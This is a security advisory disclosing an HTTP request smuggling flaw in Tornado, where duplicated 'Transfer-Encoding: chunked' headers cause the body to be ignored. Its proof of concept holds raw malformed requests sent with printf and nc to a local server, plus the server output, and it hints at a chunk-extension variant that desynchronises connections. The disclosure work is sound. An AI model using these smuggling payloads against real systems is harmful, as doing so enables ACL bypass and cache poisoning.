Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
### Summary
When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.

### PoC
0. Install Tornado.
1. Start a simple Tornado server that echoes each received request's body:
```bash
cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &
```
2. Send a valid chunked request:
```bash
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
3. Observe that the response is as expected:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z
```
4. Send a request with two `Transfer-Encoding: chunked` headers:
```
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
5. Observe the strange response:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

```
This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

### Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
